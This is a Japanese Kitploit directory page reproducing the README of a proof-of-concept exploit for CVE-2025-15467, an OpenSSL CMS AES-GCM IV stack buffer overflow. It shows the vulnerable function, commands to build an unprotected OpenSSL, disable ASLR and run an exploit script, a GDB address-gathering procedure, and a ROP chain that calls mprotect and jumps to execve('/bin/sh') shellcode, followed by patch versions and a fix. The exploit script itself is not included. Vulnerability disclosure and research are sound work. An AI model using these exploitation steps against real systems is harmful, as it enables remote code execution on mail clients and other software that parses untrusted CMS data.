Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-15467 — OpenSSL スタックバッファオーバーフロー CVE-2025-15467 のコマンド実行 PoC | Kitploit
ツール/GitHubGitHub/guiimoraes/cve-2025-15467
脆弱性分析エクスプロイトリバースエンジニアリングシェルコード暗号化学習と教育ペイロード開発バイナリエクスプロイト
GitHubguiimoraes/cve-2025-15467

CVE-2025-15467

OpenSSL スタックバッファオーバーフロー CVE-2025-15467 のコマンド実行 PoC

リポジトリを見る
1535ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-15467: OpenSSL CMS AuthEnvelopedData スタックバッファオーバーフロー

概要

CVE-2025-15467 は、OpenSSL の CMS(暗号メッセージ構文)解析コードにおける重大なスタックバッファオーバーフロー脆弱性です。この脆弱性は、CMS AuthEnvelopedData 構造体中の AES-GCM 初期化ベクトル(IV)を処理する際に、evp_cipher_get_asn1_aead_params() 関数に存在します。

プロパティ値
CVE IDCVE-2025-15467
深刻度高
CVSS8.1+
影響を受けるバージョンOpenSSL 3.0 - 3.6(パッチ適用前)
影響リモートコード実行(RCE)
攻撃ベクトルネットワーク(悪意のある CMS/S-MIME の解析)
認証不要

脆弱性の詳細

根本原因

脆弱性は crypto/evp/evp_lib.c にあります:

root@kitploit:~
int evp_cipher_get_asn1_aead_params(EVP_CIPHER_CTX *c, ASN1_TYPE *type,
                                    evp_cipher_aead_asn1_params *asn1_params)
{
    int i = 0;
    long tl;
    unsigned char iv[EVP_MAX_IV_LENGTH];  // Fixed 16-byte buffer!

    if (type == NULL || asn1_params == NULL)
        return 0;

    i = ossl_asn1_type_get_octetstring_int(type, &tl, NULL, EVP_MAX_IV_LENGTH);
    if (i <= 0)
        return -1;
    
    // BUG: Uses 'i' (attacker-controlled) as max_len instead of EVP_MAX_IV_LENGTH
    ossl_asn1_type_get_octetstring_int(type, &tl, iv, i);  // OVERFLOW!

    memcpy(asn1_params->iv, iv, i);
    asn1_params->iv_len = i;

    return i;
}

バグ

  1. iv は固定 16 バイトのスタックバッファです(EVP_MAX_IV_LENGTH = 16)
  2. ossl_asn1_type_get_octetstring_int() の最初の呼び出しで、ファイルから IV 長が返されます
  3. 2 回目の呼び出しでは、この長さ(i)が max_len パラメータとして使用されます
  4. i > 16 の場合、関数はバッファを超えて書き込みます → スタックバッファオーバーフロー

悪用

オーバーフローは、CMS 復号中に GCM パラメータを解析する際に発生します。攻撃者は以下のことが可能です:

  1. 過大な IV を持つ悪意のある CMS AuthEnvelopedData ファイルを作成する
  2. スタックバッファをオーバーフローさせ、リターンアドレスを上書きする
  3. 攻撃者が制御するシェルコードに実行をリダイレクトする
  4. リモートコード実行を達成する

影響を受けるアプリケーション

AEAD 暗号を使用して信頼できない CMS/PKCS#7 コンテンツを解析するアプリケーション:

  • S/MIME メッセージを処理するメールクライアント
  • ドキュメント署名アプリケーション
  • 証明書管理ツール
  • CMS を使用する VPN/TLS 実装
  • CMS_decrypt() または類似の関数を呼び出すあらゆるソフトウェア

概念実証 (PoC)

前提条件

root@kitploit:~
# Install dependencies
pip install pwntools  # Optional, for auto gadget detection

# Clone this repository
git clone https://github.com/guiimoraes/CVE-2025-15467.git
cd CVE-2025-15467

# Run setup script to compile vulnerable OpenSSL
chmod +x setup.sh
./setup.sh

または手動で:

root@kitploit:~
# Download and compile vulnerable OpenSSL 3.4.0
wget https://www.openssl.org/source/openssl-3.4.0.tar.gz
tar -xzf openssl-3.4.0.tar.gz
cd openssl-3.4.0

# Compile WITHOUT stack protector for easier demonstration
./Configure linux-x86_64 \
    --prefix=/opt/openssl-vuln \
    -fno-stack-protector \
    -D_FORTIFY_SOURCE=0 \
    -z execstack

make -j$(nproc)
sudo make install
cd ..

テスト証明書の生成

root@kitploit:~
export LD_LIBRARY_PATH=/opt/openssl-vuln/lib64

# Generate key and certificate
/opt/openssl-vuln/bin/openssl genrsa -out dummy.key 2048
/opt/openssl-vuln/bin/openssl req -new -x509 -key dummy.key -out dummy.crt \
    -days 1 -subj "/CN=Test"

# Create valid CMS file (needed as template)
echo "test" > plain.txt
/opt/openssl-vuln/bin/openssl cms -encrypt -aes-256-gcm \
    -in plain.txt -out valid.cms -outform DER dummy.crt

# Verify it works
/opt/openssl-vuln/bin/openssl cms -decrypt -in valid.cms -inform DER \
    -inkey dummy.key -recip dummy.crt

方法 1: 自動モード(推奨)

このエクスプロイトは、ASLR が無効な場合にアドレスを自動検出できます:

root@kitploit:~
# Disable ASLR (requires root)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Run exploit with auto-detection
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 python3 exploit.py --auto \
    /opt/openssl-vuln/bin/openssl valid.cms dummy.key dummy.crt

# Execute the exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

# You should get a shell!

方法 2: 手動アドレス指定(GDB 経由)

自動検出が失敗した場合は、手動でアドレスを取得します:

root@kitploit:~
# Get addresses from GDB
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 gdb -q /opt/openssl-vuln/bin/openssl

(gdb) break main
(gdb) run cms -decrypt -in valid.cms -inform DER -inkey dummy.key -recip dummy.crt
(gdb) info proc mappings   # Get libc and libcrypto base addresses
(gdb) continue
(gdb) # When it hits evp_cipher_get_asn1_aead_params:
(gdb) print/x $rsp         # Get stack address

出力例:

root@kitploit:~
libc-2.31.so:     0x7ffff7711000
libcrypto.so.3:   0x7ffff7936000
RSP:              0x7fffffffdc58

次に、エクスプロイトを生成します:

root@kitploit:~
# Generate exploit with manual addresses
# Arguments: <libcrypto_base> <libc_base> <stack_addr> [valid.cms]
python3 exploit.py 0x7ffff7936000 0x7ffff7711000 0x7fffffffdc58 valid.cms

# Run exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

エクスプロイトの仕組み

  1. 有効な CMS のパッチ適用: 有効な CMS ファイルを取得し、12 バイトの IV を悪意のあるペイロードに置き換えます
  2. スタックのオーバーフロー: 過大な IV が 16 バイトのバッファをオーバーフローさせ、保存されたレジスタとリターンアドレスを上書きします
  3. ROP チェーン: Return-Oriented Programming を使用して mprotect() を呼び出し、スタックを実行可能にします
  4. シェルコードの実行: mprotect() の後、jmp rsp ガジェットを介してスタック上のシェルコードにジャンプします
  5. シェル: execve("/bin/sh", NULL, NULL) を実行してシェルを起動します

ROP チェーン構造

root@kitploit:~
[padding: 56 bytes to reach saved RIP]
[pop rdi; ret]        <- Set RDI = stack_page (for mprotect arg1)
[stack_page address]
[pop rsi; ret]        <- Set RSI = 0x1000 (for mprotect arg2)
[0x1000]
[pop rdx; pop rbx; ret] <- Set RDX = 7 (PROT_RWX for mprotect arg3)
[7]
[0]                   <- Dummy for RBX
[mprotect]            <- Call mprotect(stack_page, 0x1000, 7)
[jmp rsp]             <- Jump to shellcode
[shellcode]           <- execve("/bin/sh", NULL, NULL)

ファイル

ファイル説明
exploit.py自動検出モードと手動モードを備えたメインのエクスプロイト
setup.sh脆弱な OpenSSL をコンパイルするスクリプト
README.md

緩和策

ユーザー向け

  1. OpenSSL をパッチ適用済みバージョンに更新します:

    • OpenSSL 3.6.1+
    • OpenSSL 3.5.5+
    • OpenSSL 3.4.4+
    • OpenSSL 3.3.6+
    • OpenSSL 3.0.19+
  2. パッチ適用まで信頼できない CMS/S-MIME コンテンツを処理しないでください

開発者向け

  1. コピーする前に IV 長を検証します:
root@kitploit:~
if (i > EVP_MAX_IV_LENGTH)
    return -1;
  1. 2 回目の呼び出しで正しい max_len を使用します:
root@kitploit:~
ossl_asn1_type_get_octetstring_int(type, &tl, iv, EVP_MAX_IV_LENGTH);

タイムライン

日付イベント
2025-12-14脆弱性が OpenSSL に報告される
2026-01-27セキュリティアドバイザリ公開
2026-01-27パッチリリース

参考情報

  • OpenSSL セキュリティアドバイザリ
  • CVE-2025-15467

クレジット

  • Guilherme Moraes (@guiimoraes) - エクスプロイト開発
  • Claude Opus 4.5 (Anthropic) - AI 支援による研究・開発

免責事項

この概念実証は、教育および許可されたセキュリティテストの目的のみで提供されています。コンピュータシステムへの不正アクセスは違法です。責任を持って使用してください。

ライセンス

MIT ライセンス - 詳細は LICENSE ファイルを参照してください。

ツールをダウンロード
このドキュメント
TECHNICAL.md脆弱性の技術的な詳細